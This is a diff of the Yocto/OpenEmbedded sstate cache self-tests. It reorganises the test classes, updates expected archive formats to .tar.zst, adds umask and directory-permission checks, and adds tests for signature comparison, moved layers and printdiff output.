+ self.assertFalse(os.path.join(local_mirror) == os.path.join(self.sstate_path), msg='Cannot add the current sstate path as a sstate mirror')
+ config_sstate_mirror = "SSTATE_MIRRORS += \"file://.* file:///%s/PATH\"" % local_mirror
+ self.append_config(config_sstate_mirror)
+
+ # Returns a list containing sstate files
+ def search_sstate(self, filename_regex, distro_specific=True, distro_nonspecific=True):
+ result = []
+ for root, dirs, files in os.walk(self.sstate_path):
+ if distro_specific and re.search(r"%s/%s/[a-z0-9]{2}/[a-z0-9]{2}$" % (self.sstate_path, self.hostdistro), root):
+ for f in files:
+ if re.search(filename_regex, f):
+ result.append(f)
+ if distro_nonspecific and re.search(r"%s/[a-z0-9]{2}/[a-z0-9]{2}$" % self.sstate_path, root):
+ for f in files:
+ if re.search(filename_regex, f):
+ result.append(f)
+ return result
+
+ # Test sstate files creation and their location and directory perms
def run_test_sstate_creation(self, targets, distro_specific=True, distro_nonspecific=True, temp_sstate_location=True, should_pass=True):
self.config_sstate(temp_sstate_location, [self.sstate_path])
@@ -63,12 +88,25 @@ class SStateTests(SStateBase):
else:
bitbake(['-ccleansstate'] + targets)
+ # We need to test that the env umask have does not effect sstate directory creation
+ # So, first, we'll get the current umask and set it to something we know incorrect
+ # See: sstate_task_postfunc for correct umask of os.umask(0o002)
+ import os
+ def current_umask():
+ current_umask = os.umask(0)
+ os.umask(current_umask)
+ return current_umask
+
+ orig_umask = current_umask()
+ # Set it to a umask we know will be 'wrong'
+ os.umask(0o022)
+
bitbake(targets)
file_tracker = []
results = self.search_sstate('|'.join(map(str, targets)), distro_specific, distro_nonspecific)
if distro_nonspecific:
for r in results:
- if r.endswith(("_populate_lic.tgz", "_populate_lic.tgz.siginfo", "_fetch.tgz.siginfo", "_unpack.tgz.siginfo", "_patch.tgz.siginfo")):
+ if r.endswith(("_populate_lic.tar.zst", "_populate_lic.tar.zst.siginfo", "_fetch.tar.zst.siginfo", "_unpack.tar.zst.siginfo", "_patch.tar.zst.siginfo")):
continue
file_tracker.append(r)
else:
@@ -79,17 +117,18 @@ class SStateTests(SStateBase):
else:
self.assertTrue(not file_tracker , msg="Found sstate files in the wrong place for: %s (found %s)" % (', '.join(map(str, targets)), str(file_tracker)))
- def test_sstate_creation_distro_specific_pass(self):
- self.run_test_sstate_creation(['binutils-cross-'+ self.tune_arch, 'binutils-native'], distro_specific=True, distro_nonspecific=False, temp_sstate_location=True)
-
- def test_sstate_creation_distro_specific_fail(self):
- self.run_test_sstate_creation(['binutils-cross-'+ self.tune_arch, 'binutils-native'], distro_specific=False, distro_nonspecific=True, temp_sstate_location=True, should_pass=False)
+ # Now we'll walk the tree to check the mode and see if things are incorrect.
+ badperms = []
+ for root, dirs, files in os.walk(self.sstate_path):
+ for directory in dirs:
+ if (os.stat(os.path.join(root, directory)).st_mode & 0o777) != 0o775:
+ badperms.append(os.path.join(root, directory))
- def test_sstate_creation_distro_nonspecific_pass(self):
- self.run_test_sstate_creation(['linux-libc-headers'], distro_specific=False, distro_nonspecific=True, temp_sstate_location=True)
+ # Return to original umask
+ os.umask(orig_umask)
- def test_sstate_creation_distro_nonspecific_fail(self):
- self.run_test_sstate_creation(['linux-libc-headers'], distro_specific=True, distro_nonspecific=False, temp_sstate_location=True, should_pass=False)
+ if should_pass:
+ self.assertTrue(badperms , msg="Found sstate directories with the wrong permissions: %s (found %s)" % (', '.join(map(str, targets)), str(badperms)))
# Test the sstate files deletion part of the do_cleansstate task
def run_test_cleansstate_task(self, targets, distro_specific=True, distro_nonspecific=True, temp_sstate_location=True):
@@ -98,29 +137,15 @@ class SStateTests(SStateBase):
bitbake(['-ccleansstate'] + targets)
bitbake(targets)
- tgz_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific, distro_nonspecific)
- self.assertTrue(tgz_created, msg="Could not find sstate .tgz files for: %s (%s)" % (', '.join(map(str, targets)), str(tgz_created)))
+ archives_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific, distro_nonspecific)
+ self.assertTrue(archives_created, msg="Could not find sstate .tar.zst files for: %s (%s)" % (', '.join(map(str, targets)), str(archives_created)))
siginfo_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.siginfo$' for s in targets])), distro_specific, distro_nonspecific)
self.assertTrue(siginfo_created, msg="Could not find sstate .siginfo files for: %s (%s)" % (', '.join(map(str, targets)), str(siginfo_created)))
bitbake(['-ccleansstate'] + targets)
- tgz_removed = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific, distro_nonspecific)
- self.assertTrue(not tgz_removed, msg="do_cleansstate didn't remove .tgz sstate files for: %s (%s)" % (', '.join(map(str, targets)), str(tgz_removed)))
-
- def test_cleansstate_task_distro_specific_nonspecific(self):
- targets = ['binutils-cross-'+ self.tune_arch, 'binutils-native']
- targets.append('linux-libc-headers')
- self.run_test_cleansstate_task(targets, distro_specific=True, distro_nonspecific=True, temp_sstate_location=True)
-
- def test_cleansstate_task_distro_nonspecific(self):
- self.run_test_cleansstate_task(['linux-libc-headers'], distro_specific=False, distro_nonspecific=True, temp_sstate_location=True)
-
- def test_cleansstate_task_distro_specific(self):
- targets = ['binutils-cross-'+ self.tune_arch, 'binutils-native']
- targets.append('linux-libc-headers')
- self.run_test_cleansstate_task(targets, distro_specific=True, distro_nonspecific=False, temp_sstate_location=True)
-
+ archives_removed = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific, distro_nonspecific)
+ self.assertTrue(not archives_removed, msg="do_cleansstate didn't remove .tar.zst sstate files for: %s (%s)" % (', '.join(map(str, targets)), str(archives_removed)))
# Test rebuilding of distro-specific sstate files
def run_test_rebuild_distro_specific_sstate(self, targets, temp_sstate_location=True):
@@ -129,15 +154,15 @@ class SStateTests(SStateBase):
bitbake(['-ccleansstate'] + targets)
bitbake(targets)
- results = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=False, distro_nonspecific=True)
+ results = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=False, distro_nonspecific=True)
filtered_results = []
for r in results:
- if r.endswith(("_populate_lic.tgz", "_populate_lic.tgz.siginfo")):
+ if r.endswith(("_populate_lic.tar.zst", "_populate_lic.tar.zst.siginfo")):
continue
filtered_results.append(r)
self.assertTrue(filtered_results == [], msg="Found distro non-specific sstate for: %s (%s)" % (', '.join(map(str, targets)), str(filtered_results)))
- file_tracker_1 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=True, distro_nonspecific=False)
- self.assertTrue(len(file_tracker_1) >= len(targets), msg = "Not all sstate files ware created for: %s" % ', '.join(map(str, targets)))
+ file_tracker_1 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=True, distro_nonspecific=False)
+ self.assertTrue(len(file_tracker_1) >= len(targets), msg = "Not all sstate files were created for: %s" % ', '.join(map(str, targets)))
self.track_for_cleanup(self.distro_specific_sstate + "_old")
shutil.copytree(self.distro_specific_sstate, self.distro_specific_sstate + "_old")
@@ -145,15 +170,114 @@ class SStateTests(SStateBase):
bitbake(['-cclean'] + targets)
bitbake(targets)
- file_tracker_2 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=True, distro_nonspecific=False)
- self.assertTrue(len(file_tracker_2) >= len(targets), msg = "Not all sstate files ware created for: %s" % ', '.join(map(str, targets)))
+ file_tracker_2 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=True, distro_nonspecific=False)
+ self.assertTrue(len(file_tracker_2) >= len(targets), msg = "Not all sstate files were created for: %s" % ', '.join(map(str, targets)))
not_recreated = [x for x in file_tracker_1 if x not in file_tracker_2]
- self.assertTrue(not_recreated == [], msg="The following sstate files ware not recreated: %s" % ', '.join(map(str, not_recreated)))
+ self.assertTrue(not_recreated == [], msg="The following sstate files were not recreated: %s" % ', '.join(map(str, not_recreated)))
created_once = [x for x in file_tracker_2 if x not in file_tracker_1]
- self.assertTrue(created_once == [], msg="The following sstate files ware created only in the second run: %s" % ', '.join(map(str, created_once)))
+ self.assertTrue(created_once == [], msg="The following sstate files were created only in the second run: %s" % ', '.join(map(str, created_once)))
+
+ def sstate_common_samesigs(self, configA, configB, allarch=False):
+
+ self.write_config(configA)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
+ bitbake("world meta-toolchain -S none")
+ self.write_config(configB)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
+ bitbake("world meta-toolchain -S none")
+
+ def get_files(d, result):
+ for root, dirs, files in os.walk(d):
+ for name in files:
+ if "meta-environment" in root or "cross-canadian" in root:
+ continue
+ if "do_build" not in name:
+ # 1.4.1+gitAUTOINC+302fca9f4c-r0.do_package_write_ipk.sigdata.f3a2a38697da743f0dbed8b56aafcf79
+ (_, task, _, shash) = name.rsplit(".", 3)
+ result[os.path.join(os.path.basename(root), task)] = shash
+
+ files1 = {}
+ files2 = {}
+ subdirs = sorted(glob.glob(self.topdir + "/tmp-sstatesamehash/stamps/*-nativesdk*-linux"))
+ if allarch:
+ subdirs.extend(sorted(glob.glob(self.topdir + "/tmp-sstatesamehash/stamps/all-*-linux")))
+
+ for subdir in subdirs:
+ nativesdkdir = os.path.basename(subdir)
+ get_files(self.topdir + "/tmp-sstatesamehash/stamps/" + nativesdkdir, files1)
+ get_files(self.topdir + "/tmp-sstatesamehash2/stamps/" + nativesdkdir, files2)
+
+ self.maxDiff = None
+ self.assertEqual(files1, files2)
+
+class SStateTests(SStateBase):
+ def test_autorev_sstate_works(self):
+ # Test that a git repository which changes is correctly handled by SRCREV = ${AUTOREV}
+ tempdir = tempfile.mkdtemp(prefix='sstate_autorev')
+ tempdldir = tempfile.mkdtemp(prefix='sstate_autorev_dldir')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(tempdldir)
+ create_temp_layer(tempdir, 'selftestrecipetool')
+ self.add_command_to_tearDown('bitbake-layers remove-layer %s' % tempdir)
+ self.append_config("DL_DIR = \"%s\"" % tempdldir)
+ runCmd('bitbake-layers add-layer %s' % tempdir)
+
+ # Use dbus-wait as a local git repo we can add a commit between two builds in
+ pn = 'dbus-wait'
+ srcrev = '6cc6077a36fe2648a5f993fe7c16c9632f946517'
+ url = 'git://git.yoctoproject.org/dbus-wait'
+ result = runCmd('git clone %s noname' % url, cwd=tempdir)
+ srcdir = os.path.join(tempdir, 'noname')
+ result = runCmd('git reset --hard %s' % srcrev, cwd=srcdir)
+ self.assertTrue(os.path.isfile(os.path.join(srcdir, 'configure.ac')), 'Unable to find configure script in source directory')
+
+ recipefile = os.path.join(tempdir, "recipes-test", "dbus-wait-test", 'dbus-wait-test_git.bb')
+ os.makedirs(os.path.dirname(recipefile))
+ srcuri = 'git://' + srcdir + ';protocol=file;branch=master'
+ result = runCmd(['recipetool', 'create', '-o', recipefile, srcuri])
+ self.assertTrue(os.path.isfile(recipefile), 'recipetool did not create recipe file; output:\n%s' % result.output)
+
+ with open(recipefile, 'a') as f:
+ f.write('SRCREV = "${AUTOREV}"\n')
+ f.write('PV = "1.0"\n')
+
+ bitbake("dbus-wait-test -c fetch")
+ with open(os.path.join(srcdir, "bar.txt"), "w") as f:
+ f.write("foo")
+ result = runCmd('git add bar.txt; git commit -asm "add bar"', cwd=srcdir)
+ bitbake("dbus-wait-test -c unpack")
+
+class SStateCreation(SStateBase):
+ def test_sstate_creation_distro_specific_pass(self):
+ self.run_test_sstate_creation(['binutils-cross-'+ self.tune_arch, 'binutils-native'], distro_specific=True, distro_nonspecific=False, temp_sstate_location=True)
+
+ def test_sstate_creation_distro_specific_fail(self):
+ self.run_test_sstate_creation(['binutils-cross-'+ self.tune_arch, 'binutils-native'], distro_specific=False, distro_nonspecific=True, temp_sstate_location=True, should_pass=False)
+
+ def test_sstate_creation_distro_nonspecific_pass(self):
+ self.run_test_sstate_creation(['linux-libc-headers'], distro_specific=False, distro_nonspecific=True, temp_sstate_location=True)
+
+ def test_sstate_creation_distro_nonspecific_fail(self):
+ self.run_test_sstate_creation(['linux-libc-headers'], distro_specific=True, distro_nonspecific=False, temp_sstate_location=True, should_pass=False)
+
+class SStateCleanup(SStateBase):
+ def test_cleansstate_task_distro_specific_nonspecific(self):
+ targets = ['binutils-cross-'+ self.tune_arch, 'binutils-native']
+ targets.append('linux-libc-headers')
+ self.run_test_cleansstate_task(targets, distro_specific=True, distro_nonspecific=True, temp_sstate_location=True)
+
+ def test_cleansstate_task_distro_nonspecific(self):
+ self.run_test_cleansstate_task(['linux-libc-headers'], distro_specific=False, distro_nonspecific=True, temp_sstate_location=True)
+
+ def test_cleansstate_task_distro_specific(self):
+ targets = ['binutils-cross-'+ self.tune_arch, 'binutils-native']
+ targets.append('linux-libc-headers')
+ self.run_test_cleansstate_task(targets, distro_specific=True, distro_nonspecific=False, temp_sstate_location=True)
+
+class SStateDistroTests(SStateBase):
def test_rebuild_distro_specific_sstate_cross_native_targets(self):
self.run_test_rebuild_distro_specific_sstate(['binutils-cross-' + self.tune_arch, 'binutils-native'], temp_sstate_location=True)
@@ -163,48 +287,48 @@ class SStateTests(SStateBase):
def test_rebuild_distro_specific_sstate_native_target(self):
self.run_test_rebuild_distro_specific_sstate(['binutils-native'], temp_sstate_location=True)
-
+class SStateCacheManagement(SStateBase):
# Test the sstate-cache-management script. Each element in the global_config list is used with the corresponding element in the target_config list
- # global_config elements are expected to not generate any sstate files that would be removed by sstate-cache-management.sh (such as changing the value of MACHINE)
+ # global_config elements are expected to not generate any sstate files that would be removed by sstate-cache-management.py (such as changing the value of MACHINE)
def run_test_sstate_cache_management_script(self, target, global_config=[''], target_config=[''], ignore_patterns=[]):
self.assertTrue(global_config)
self.assertTrue(target_config)
self.assertTrue(len(global_config) == len(target_config), msg='Lists global_config and target_config should have the same number of elements')
- self.config_sstate(temp_sstate_location=True, add_local_mirrors=[self.sstate_path])
- # If buildhistory is enabled, we need to disable version-going-backwards
- # QA checks for this test. It may report errors otherwise.
- self.append_config('ERROR_QA_remove = "version-going-backwards"')
+ for idx in range(len(target_config)):
+ self.append_config(global_config[idx])
+ self.append_recipeinc(target, target_config[idx])
+ bitbake(target)
+ self.remove_config(global_config[idx])
+ self.remove_recipeinc(target, target_config[idx])
+
+ self.config_sstate(temp_sstate_location=True, add_local_mirrors=[self.sstate_path])
- # For not this only checks if random sstate tasks are handled correctly as a group.
+ # For now this only checks if random sstate tasks are handled correctly as a group.
# In the future we should add control over what tasks we check for.
- sstate_archs_list = []
expected_remaining_sstate = []
for idx in range(len(target_config)):
self.append_config(global_config[idx])
self.append_recipeinc(target, target_config[idx])
- sstate_arch = get_bb_var('SSTATE_PKGARCH', target)
- if not sstate_arch in sstate_archs_list:
- sstate_archs_list.append(sstate_arch)
if target_config[idx] == target_config[-1]:
- target_sstate_before_build = self.search_sstate(target + r'.*?\.tgz$')
+ target_sstate_before_build = self.search_sstate(target + r'.*?\.tar.zst$')
bitbake("-cclean %s" % target)
result = bitbake(target, ignore_status=True)
if target_config[idx] == target_config[-1]:
- target_sstate_after_build = self.search_sstate(target + r'.*?\.tgz$')
+ target_sstate_after_build = self.search_sstate(target + r'.*?\.tar.zst$')
expected_remaining_sstate += [x for x in target_sstate_after_build if x not in target_sstate_before_build if not any(pattern in x for pattern in ignore_patterns)]
self.remove_config(global_config[idx])
self.remove_recipeinc(target, target_config[idx])
self.assertEqual(result.status, 0, msg = "build of %s failed with %s" % (target, result.output))
- runCmd("sstate-cache-management.sh -y --cache-dir=%s --remove-duplicated --extra-archs=%s" % (self.sstate_path, ','.join(map(str, sstate_archs_list))))
- actual_remaining_sstate = [x for x in self.search_sstate(target + r'.*?\.tgz$') if not any(pattern in x for pattern in ignore_patterns)]
+ runCmd("sstate-cache-management.py -y --cache-dir=%s --remove-duplicated" % (self.sstate_path))
+ actual_remaining_sstate = [x for x in self.search_sstate(target + r'.*?\.tar.zst$') if not any(pattern in x for pattern in ignore_patterns)]
actual_not_expected = [x for x in actual_remaining_sstate if x not in expected_remaining_sstate]
- self.assertFalse(actual_not_expected, msg="Files should have been removed but ware not: %s" % ', '.join(map(str, actual_not_expected)))
+ self.assertFalse(actual_not_expected, msg="Files should have been removed but were not: %s" % ', '.join(map(str, actual_not_expected)))
expected_not_actual = [x for x in expected_remaining_sstate if x not in actual_remaining_sstate]
- self.assertFalse(expected_not_actual, msg="Extra files ware removed: %s" ', '.join(map(str, expected_not_actual)))
+ self.assertFalse(expected_not_actual, msg="Extra files were removed: %s" ', '.join(map(str, expected_not_actual)))
def test_sstate_cache_management_script_using_pr_1(self):
global_config = []
@@ -242,6 +366,7 @@ class SStateTests(SStateBase):
target_config.append('')
self.run_test_sstate_cache_management_script('m4', global_config, target_config, ignore_patterns=['populate_lic'])
+class SStateHashSameSigs(SStateBase):
def test_sstate_32_64_same_hash(self):
"""
The sstate checksums for both native and target should not vary whether
@@ -261,7 +386,7 @@ PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
self.write_config("""
MACHINE = "qemux86"
TMPDIR = "${TOPDIR}/tmp-sstatesamehash2"
@@ -273,12 +398,12 @@ PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
def get_files(d):
f = []
for root, dirs, files in os.walk(d):
- if "core-image-sato" in root:
+ if "core-image-weston" in root:
# SDKMACHINE changing will change
# do_rootfs/do_testimage/do_build stamps of images which
# is safe to ignore.
@@ -306,7 +431,7 @@ NATIVELSBSTRING = \"DistroA\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
self.write_config("""
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
TCLIBCAPPEND = \"\"
@@ -314,7 +439,7 @@ NATIVELSBSTRING = \"DistroB\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
def get_files(d):
f = []
@@ -327,6 +452,7 @@ BB_SIGNATURE_HANDLER = "OEBasicHash"
self.maxDiff = None
self.assertCountEqual(files1, files2)
+class SStateHashSameSigs2(SStateBase):
def test_sstate_allarch_samesigs(self):
"""
The sstate checksums of allarch packages should be independent of whichever
@@ -341,13 +467,15 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86-64\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
+ #OLDEST_KERNEL is arch specific so set to a different value here for testing
configB = """
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
TCLIBCAPPEND = \"\"
MACHINE = \"qemuarm\"
+OLDEST_KERNEL = \"3.3.0\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
- self.sstate_allarch_samesigs(configA, configB)
+ self.sstate_common_samesigs(configA, configB, allarch=True)
def test_sstate_nativesdk_samesigs_multilib(self):
"""
@@ -360,7 +488,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86-64\"
require conf/multilib.conf
MULTILIBS = \"multilib:lib32\"
-DEFAULTTUNE_virtclass-multilib-lib32 = \"x86\"
+DEFAULTTUNE:virtclass-multilib-lib32 = \"x86\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
configB = """
@@ -371,36 +499,9 @@ require conf/multilib.conf
MULTILIBS = \"\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
- self.sstate_allarch_samesigs(configA, configB)
-
- def sstate_allarch_samesigs(self, configA, configB):
-
- self.write_config(configA)
- self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("world meta-toolchain -S none")
- self.write_config(configB)
- self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("world meta-toolchain -S none")
-
- def get_files(d):
- f = {}
- for root, dirs, files in os.walk(d):
- for name in files:
- if "meta-environment" in root or "cross-canadian" in root:
- continue
- if "do_build" not in name:
- # 1.4.1+gitAUTOINC+302fca9f4c-r0.do_package_write_ipk.sigdata.f3a2a38697da743f0dbed8b56aafcf79
- (_, task, _, shash) = name.rsplit(".", 3)
- f[os.path.join(os.path.basename(root), task)] = shash
- return f
-
- nativesdkdir = os.path.basename(glob.glob(self.topdir + "/tmp-sstatesamehash/stamps/*-nativesdk*-linux")[0])
-
- files1 = get_files(self.topdir + "/tmp-sstatesamehash/stamps/" + nativesdkdir)
- files2 = get_files(self.topdir + "/tmp-sstatesamehash2/stamps/" + nativesdkdir)
- self.maxDiff = None
- self.assertEqual(files1, files2)
+ self.sstate_common_samesigs(configA, configB)
+class SStateHashSameSigs3(SStateBase):
def test_sstate_sametune_samesigs(self):
"""
The sstate checksums of two identical machines (using the same tune) should be the
@@ -414,7 +515,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
@@ -425,7 +526,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86copy\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
@@ -435,7 +536,7 @@ BB_SIGNATURE_HANDLER = "OEBasicHash"
f = []
for root, dirs, files in os.walk(d):
for name in files:
- if "meta-environment" in root or "cross-canadian" in root:
+ if "meta-environment" in root or "cross-canadian" in root or 'meta-ide-support' in root:
continue
if "qemux86copy-" in root or "qemux86-" in root:
continue
@@ -462,7 +563,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
@@ -488,7 +589,7 @@ BB_SIGNATURE_HANDLER = "OEBasicHash"
self.maxDiff = None
self.assertCountEqual(files1, files2)
-
+class SStateHashSameSigs4(SStateBase):
def test_sstate_noop_samesigs(self):
"""
The sstate checksums of two builds with these variables changed or
@@ -503,7 +604,7 @@ PARALLEL_MAKE = "-j 1"
DL_DIR = "${TOPDIR}/download1"
TIME = "111111"
DATE = "20161111"
-INHERIT_remove = "buildstats-summary buildhistory uninative"
+INHERIT:remove = "buildstats-summary buildhistory uninative"
http_proxy = ""
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
@@ -519,7 +620,7 @@ DL_DIR = "${TOPDIR}/download2"
TIME = "222222"
DATE = "20161212"
# Always remove uninative as we're changing proxies
-INHERIT_remove = "uninative"
+INHERIT:remove = "uninative"
INHERIT += "buildstats-summary buildhistory"
http_proxy = "http://example.com/"
BB_SIGNATURE_HANDLER = "OEBasicHash"
@@ -573,3 +674,335 @@ BB_SIGNATURE_HANDLER = "OEBasicHash"
compare_sigfiles(rest, files1, files2, compare=False)
self.fail("sstate hashes not identical.")
+
+ def test_sstate_movelayer_samesigs(self):
+ """
+ The sstate checksums of two builds with the same oe-core layer in two
+ different locations should be the same.
+ """
+ core_layer = os.path.join(
+ self.tc.td["COREBASE"], 'meta')
+ copy_layer_1 = self.topdir + "/meta-copy1/meta"
+ copy_layer_2 = self.topdir + "/meta-copy2/meta"
+
+ oe.path.copytree(core_layer, copy_layer_1)
+ os.symlink(os.path.dirname(core_layer) + "/scripts", self.topdir + "/meta-copy1/scripts")
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstatesamehash"
+""")
+ bblayers_conf = 'BBLAYERS += "%s"\nBBLAYERS:remove = "%s"' % (copy_layer_1, core_layer)
+ self.write_bblayers_config(bblayers_conf)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
+ bitbake("bash -S none")
+
+ oe.path.copytree(core_layer, copy_layer_2)
+ os.symlink(os.path.dirname(core_layer) + "/scripts", self.topdir + "/meta-copy2/scripts")
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstatesamehash2"
+""")
+ bblayers_conf = 'BBLAYERS += "%s"\nBBLAYERS:remove = "%s"' % (copy_layer_2, core_layer)
+ self.write_bblayers_config(bblayers_conf)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
+ bitbake("bash -S none")
+
+ def get_files(d):
+ f = []
+ for root, dirs, files in os.walk(d):
+ for name in files:
+ f.append(os.path.join(root, name))
+ return f
+ files1 = get_files(self.topdir + "/tmp-sstatesamehash/stamps")
+ files2 = get_files(self.topdir + "/tmp-sstatesamehash2/stamps")
+ files2 = [x.replace("tmp-sstatesamehash2", "tmp-sstatesamehash") for x in files2]
+ self.maxDiff = None
+ self.assertCountEqual(files1, files2)
+
+class SStateFindSiginfo(SStateBase):
+ def test_sstate_compare_sigfiles_and_find_siginfo(self):
+ """
+ Test the functionality of the find_siginfo: basic function and callback in compare_sigfiles
+ """
+ self.write_config("""
+TMPDIR = \"${TOPDIR}/tmp-sstates-findsiginfo\"
+TCLIBCAPPEND = \"\"
+MACHINE = \"qemux86-64\"
+require conf/multilib.conf
+MULTILIBS = "multilib:lib32"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
+""")
+ self.track_for_cleanup(self.topdir + "/tmp-sstates-findsiginfo")
+
+ pns = ["binutils", "binutils-native", "lib32-binutils"]
+ target_configs = [
+"""
+TMPVAL1 = "tmpval1"
+TMPVAL2 = "tmpval2"
+do_tmptask1() {
+ echo ${TMPVAL1}
+}
+do_tmptask2() {
+ echo ${TMPVAL2}
+}
+addtask do_tmptask1
+addtask tmptask2 before do_tmptask1
+""",
+"""
+TMPVAL3 = "tmpval3"
+TMPVAL4 = "tmpval4"
+do_tmptask1() {
+ echo ${TMPVAL3}
+}
+do_tmptask2() {
+ echo ${TMPVAL4}
+}
+addtask do_tmptask1
+addtask tmptask2 before do_tmptask1
+"""
+ ]
+
+ for target_config in target_configs:
+ self.write_recipeinc("binutils", target_config)
+ for pn in pns:
+ bitbake("%s -c do_tmptask1 -S none" % pn)
+ self.delete_recipeinc("binutils")
+
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=True)
+
+ def find_siginfo(pn, taskname, sigs=None):
+ result = None
+ command_complete = False
+ tinfoil.set_event_mask(["bb.event.FindSigInfoResult",
+ "bb.command.CommandCompleted"])
+ ret = tinfoil.run_command("findSigInfo", pn, taskname, sigs)
+ if ret:
+ while result is None or not command_complete:
+ event = tinfoil.wait_event(1)
+ if event:
+ if isinstance(event, bb.command.CommandCompleted):
+ command_complete = True
+ elif isinstance(event, bb.event.FindSigInfoResult):
+ result = event.result
+ return result
+
+ def recursecb(key, hash1, hash2):
+ nonlocal recursecb_count
+ recursecb_count += 1
+ hashes = [hash1, hash2]
+ hashfiles = find_siginfo(key, None, hashes)
+ self.assertCountEqual(hashes, hashfiles)
+ bb.siggen.compare_sigfiles(hashfiles[hash1]['path'], hashfiles[hash2]['path'], recursecb)
+
+ for pn in pns:
+ recursecb_count = 0
+ matches = find_siginfo(pn, "do_tmptask1")
+ self.assertGreaterEqual(len(matches), 2)
+ latesthashes = sorted(matches.keys(), key=lambda h: matches[h]['time'])[-2:]
+ bb.siggen.compare_sigfiles(matches[latesthashes[-2]]['path'], matches[latesthashes[-1]]['path'], recursecb)
+ self.assertEqual(recursecb_count,1)
+
+class SStatePrintdiff(SStateBase):
+ def run_test_printdiff_changerecipe(self, target, change_recipe, change_bbtask, change_content, expected_sametmp_output, expected_difftmp_output):
+ import time
+ self.write_config("""
+TMPDIR = "${{TOPDIR}}/tmp-sstateprintdiff-sametmp-{}"
+""".format(time.time()))
+ # Use runall do_build to ensure any indirect sstate is created, e.g. tzcode-native on both x86 and
+ # aarch64 hosts since only allarch target recipes depend upon it and it may not be built otherwise.
+ # A bitbake -c cleansstate tzcode-native would cause some of these tests to error for example.
+ bitbake("--runall build --runall deploy_source_date_epoch {}".format(target))
+ bitbake("-S none {}".format(target))
+ bitbake(change_bbtask)
+ self.write_recipeinc(change_recipe, change_content)
+ result_sametmp = bitbake("-S printdiff {}".format(target))
+
+ self.write_config("""
+TMPDIR = "${{TOPDIR}}/tmp-sstateprintdiff-difftmp-{}"
+""".format(time.time()))
+ result_difftmp = bitbake("-S printdiff {}".format(target))
+
+ self.delete_recipeinc(change_recipe)
+ for item in expected_sametmp_output:
+ self.assertIn(item, result_sametmp.output, msg = "Item {} not found in output:\n{}".format(item, result_sametmp.output))
+ for item in expected_difftmp_output:
+ self.assertIn(item, result_difftmp.output, msg = "Item {} not found in output:\n{}".format(item, result_difftmp.output))
+
+ def run_test_printdiff_changeconfig(self, target, change_bbtasks, change_content, expected_sametmp_output, expected_difftmp_output):
+ import time
+ self.write_config("""
